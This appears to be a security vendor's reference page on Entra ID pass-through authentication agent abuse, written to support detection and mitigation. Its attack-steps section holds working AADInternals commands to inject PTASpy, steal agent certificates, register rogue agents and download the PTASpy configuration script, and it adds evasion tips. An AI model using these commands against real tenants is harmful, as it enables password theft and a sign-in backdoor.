1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Pass-Through Authentication (PTA) Agent Abuse

Also known as: PTASpy, PTA backdoor, PTA agent certificate theft, Rogue PTA agent

A local administrator on a pass-through authentication agent server reads every password the agent validates and can make it accept any password for any synchronized user.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
Local administrator on a server that runs the PTA agent, or the Hybrid Identity Administrator or Global Administrator role to register a new agent.
What the attacker gains
Cleartext passwords of users as they sign in, and a sign-in backdoor that answers yes for any synchronized user and any password.
Threat groups
APT29FIN13Salt TyphoonGroups that MITRE ATT&CK records using T1556.007, T1556.

How it works

With pass-through authentication (PTA), Microsoft Entra ID does not check a synchronized user's password itself. It hands the question to an authentication agent that runs on a server in the corporate network, and it trusts the answer.

The documented flow is:

  1. The user types a password on the Entra sign-in page.
  2. Entra ID encrypts the password once for each registered agent, with that agent's public key, and places the validation request on a Service Bus queue that belongs to the tenant.
  3. One of the agents, which hold persistent outbound connections to the queue, picks up the request and decrypts the password with its private key.
  4. The agent calls the Win32 LogonUser API with logon type LOGON32_LOGON_NETWORK, and a domain controller validates the credentials.
  5. The agent returns the result (success, wrong password, expired password and so on) over a mutually authenticated HTTPS channel.
  6. Entra ID continues the sign-in: MFA, Conditional Access, token issuance.

Each agent has an identity certificate that Entra ID issued when a Hybrid Identity Administrator registered it. The certificate's subject is the tenant ID, the agent uses it for every connection to the service, and Entra ID renews it non-interactively. Two things follow:

  • The agent holds cleartext passwords and decides the outcome. Code injected into the agent process can record the username and password of each request and replace the result of the LogonUser call with success.
  • The certificate is the agent. Whoever copies the certificate and its private key can run an agent on another machine. Entra ID encrypts requests for that key and accepts answers signed with it.

That gives two variants. In the first, the attacker patches the agent on a compromised server. In the second, the attacker exports the agent certificate and runs a rogue copy of the agent outside the victim's network, or, with a tenant role that can register agents, enrolls a new agent of their own. If several agents are registered, any one of them may pick up a given request, so a rogue agent sees a share of the sign-ins, not all of them.

Prerequisites

  • Pass-through authentication is the tenant's sign-in method for the targeted users.
  • For the patched agent: local administrator on a server where the Microsoft Entra Connect Authentication Agent service (AzureADConnectAuthenticationAgentService.exe) runs. That is often the Entra Connect Sync server plus one or two additional agent servers.
  • For the stolen certificate: local administrator on an agent server once, long enough to export the certificate, and a Windows server the attacker controls with outbound access on port 443.
  • For a newly registered agent: the Hybrid Identity Administrator or Global Administrator role.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find the agents

With a token for an administrator, AADInternals lists the registered agents and their external addresses:

Import-Module AADInternals
Get-AADIntAccessTokenForPTA -SaveToCache
Get-AADIntProxyAgents

On-premises, look for the agent service on the Entra Connect server and on servers named in the tenant's agent list.

2. Patch the agent on a compromised server

PTASpy injects a DLL into the running agent. From then on the agent accepts every password and writes the credentials it sees to C:\PTASpy\PTASpy.csv. The function was removed from AADInternals in version 0.9.4, so install the last version that has it:

Install-Module -Name "AADInternals" -RequiredVersion "0.9.3"
Import-Module AADInternals

# Run as local administrator on the agent server
Install-AADIntPTASpy

# Read what has been collected, with the Base64 passwords decoded
Get-AADIntPTASpyLog -DecodePasswords

Remove it again with:

# Restarts the agent service and deletes the DLL
Remove-AADIntPTASpy

3. Steal the agent certificate and run a rogue agent

On the compromised agent server, export the certificate. The function elevates the session to SYSTEM, so the bootstrap (the agent's configuration from the service) is exported from a new session:

# Session 1, as local administrator: writes <server>_<tenant id>_<agent id>_<thumbprint>.pfx
Export-AADIntProxyAgentCertificates

# Session 2: fetch the bootstrap with the exported certificate
Export-AADIntProxyAgentBootstraps -Certificates "SRV01.corp.example.com_00000000-0000-0000-0000-000000000000_00000000-0000-0000-0000-000000000000_0000000000000000000000000000000000000000.pfx"

Copy both files to an empty Windows server under the attacker's control, rename them cert.pfx and bootstrap.xml, and let the published script install a genuine agent, configure it with the stolen identity and add PTASpy:

wget "https://raw.githubusercontent.com/Gerenios/public/master/PTASpy/Configure-PTASpy.ps1" -OutFile "Configure-PTASpy.ps1"
.\Configure-PTASpy -Certificate .\cert.pfx -Bootstrap .\bootstrap.xml -Verbose

The rogue server now receives validation requests for the tenant, accepts all of them and logs the credentials.

4. Or register a new agent with a tenant role

An attacker who already holds Hybrid Identity Administrator or Global Administrator can enroll an agent and receive its certificate directly:

Get-AADIntAccessTokenForPTA -SaveToCache
Register-AADIntPTAAgent -MachineName "SRV01.corp.example.com"

# On the attacker's server that has the genuine agent installed: point it at the new certificate
Set-AADIntPTACertificate -PfxFileName "SRV01.corp.example.com_00000000-0000-0000-0000-000000000000_00000000-0000-0000-0000-000000000000_0000000000000000000000000000000000000000.pfx"

Set-AADIntPTACertificate writes the instance and tenant IDs to the agent's registry key, updates TrustSettings.xml, imports the certificate and tells the operator to restart the service. Combined with PTASpy this turns a standalone server into a backdoor.

5. Sign in

With a patched or rogue agent answering, sign in as any synchronized user with any password. The session still has to satisfy the tenant's MFA and Conditional Access rules.

Impact

The attacker collects valid cleartext passwords at the rate users sign in, which is credential theft that works against both the cloud and Active Directory. The backdoor accepts any password for any user who authenticates through PTA, including synchronized administrators, and it survives password resets because the agent, not the directory, gives the answer. A rogue agent outside the network keeps working after the attacker has lost every other foothold, until the certificate expires or the agent is removed from the tenant. Stopping all legitimate answers is also possible, which turns the same access into a sign-in outage.

OPSEC and artifacts

  • Staying off the victim's server. Running a rogue agent with a stolen certificate leaves no injected DLL on the real server. Exporting the certificate still requires code execution as administrator there once, and the export touches the certificate's private key in the machine or NetworkService key store.
  • Keeping the agent's address unchanged. The address shown for an agent in the admin center is updated when the agent fetches its bootstrap. An operator who supplies a bootstrap exported on the victim's server avoids showing a new external IP address in the agent list.
  • PTASpy on disk. The injected variant creates a hidden C:\PTASpy folder with PTASpy.dll and PTASpy.csv and loads a DLL into AzureADConnectAuthenticationAgentService.exe. Removing it restarts the agent service.
  • A new agent in the list. Registering an agent adds an entry to the tenant's authentication agent list with a machine name and external address. Enabling PTA for the first time writes Enable passthrough authentication to the audit log.
  • Missing on-premises logons. A genuine agent produces a network logon on a domain controller for every validation: event 4624 or 4625 from the agent server. A backdoored agent that answers yes without a valid password leaves a cloud success with a failed on-premises logon, or with none at all when the rogue agent has no line of sight to a domain controller.
  • Agent logs. The legitimate agent writes to Applications and Services Logs\Microsoft\AzureAdConnect\AuthenticationAgent\Admin and to trace files under %ProgramData%\Microsoft\Azure AD Connect Authentication Agent\Trace\. Requests handled by a rogue agent are absent from the real servers' traces.

Detection

There is no event that says an agent lied. Detection combines inventory, host telemetry and a comparison between the two directories.

  • Agent inventory. Review the authentication agent list in the tenant against the approved servers: names, external addresses, and agents that appear without a change record. Certificates are renewed by the service, so a renewal alone is not a finding.
  • Sign-in method changes. The hybrid identity backdoor rules alert when pass-through authentication is enabled or staged rollout changes; outside a planned migration these events should not occur.
  • Cloud success without on-premises success. Microsoft's security operations guidance lists the comparison of PTA sign-ins with 4624 and 4625 on the domain controllers. Collect the logon events that originate from the agent servers and compare them with successful sign-ins whose authentication details show pass-through authentication.
  • Agent host integrity. Alert on module loads into the agent process from outside its installation folder, on creation of C:\PTASpy, on access to the agent certificate's private key by other processes, and on new local administrators on agent servers.

On the agent server, the logons performed by the agent can be read from the Security log with the filter Microsoft publishes:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">*[EventData[Data[@Name='ProcessName'] and (Data='C:\Program Files\Microsoft Azure AD Connect Authentication Agent\AzureADConnectAuthenticationAgentService.exe')]]</Select>
  </Query>
</QueryList>
// Successful sign-ins validated by pass-through authentication, to compare with DC logon events
SigninLogs
| where ResultType == "0"
| where AuthenticationMethodsUsed has "PTA"
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName,
          AuthenticationProcessingDetails, CorrelationId

Microsoft documents AuthenticationMethodsUsed with the value PTA and AuthenticationProcessingDetails as carrying the agent name for PTA sign-ins, so a name outside the approved list is a direct lead.

Mitigation

  • Treat every agent server as Tier 0. Microsoft's guidance is to harden it like a domain controller: the same administrators, no general-purpose workloads, no logons from lower tiers. The Entra Connect hardening guide covers the server controls.
  • Keep the number of agents small and known. Run the agents you need for availability on dedicated hardened servers, record them, and remove agents on retired servers from the tenant.
  • Restrict who can register agents. Keep Hybrid Identity Administrator and Global Administrator assignments few, eligible through Privileged Identity Management and protected by phishing-resistant MFA.
  • Enforce MFA with Conditional Access for all users, so a password answer alone never completes a sign-in.
  • Consider password hash synchronization instead of PTA. With cloud validation there is no on-premises component that sees cleartext passwords or decides sign-ins.
  • After a compromise: remove the agent from the tenant and ask Microsoft to block it if the certificate was stolen, rebuild the server, register new agents, then reset the passwords of users who signed in through the affected agent.

Detection rules for this attack

Log events to collect

FAQ

Does the PTA agent see passwords in cleartext?

Yes. Microsoft Entra ID encrypts the password with the public key of each registered agent, and the agent decrypts it with its private key to call the Win32 LogonUser API. Code running inside the agent process, or anyone who holds the agent's certificate and private key, sees the password of every user that agent validates.

Does a PTA backdoor bypass MFA?

No. The agent only answers the password question. After a positive answer Microsoft Entra ID continues with the sign-in as configured, so Conditional Access and multifactor authentication still apply. The backdoor defeats the password, and the harvested passwords also work on-premises, where MFA is rare.

How can I tell that a rogue PTA agent answered a sign-in?

There is no PTA-specific event for it. Compare successful cloud sign-ins that used pass-through authentication with logon events 4624 from your agent servers on the domain controllers. A cloud success with no matching on-premises logon points to an agent that answered without asking Active Directory.

Does resetting user passwords remove the backdoor?

No. A patched or rogue agent accepts any password, so new passwords are accepted and collected as well. Remove the agent, uninstall or rebuild the server, let the stolen certificate expire or have Microsoft block the agent, and only then reset the passwords that passed through it.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.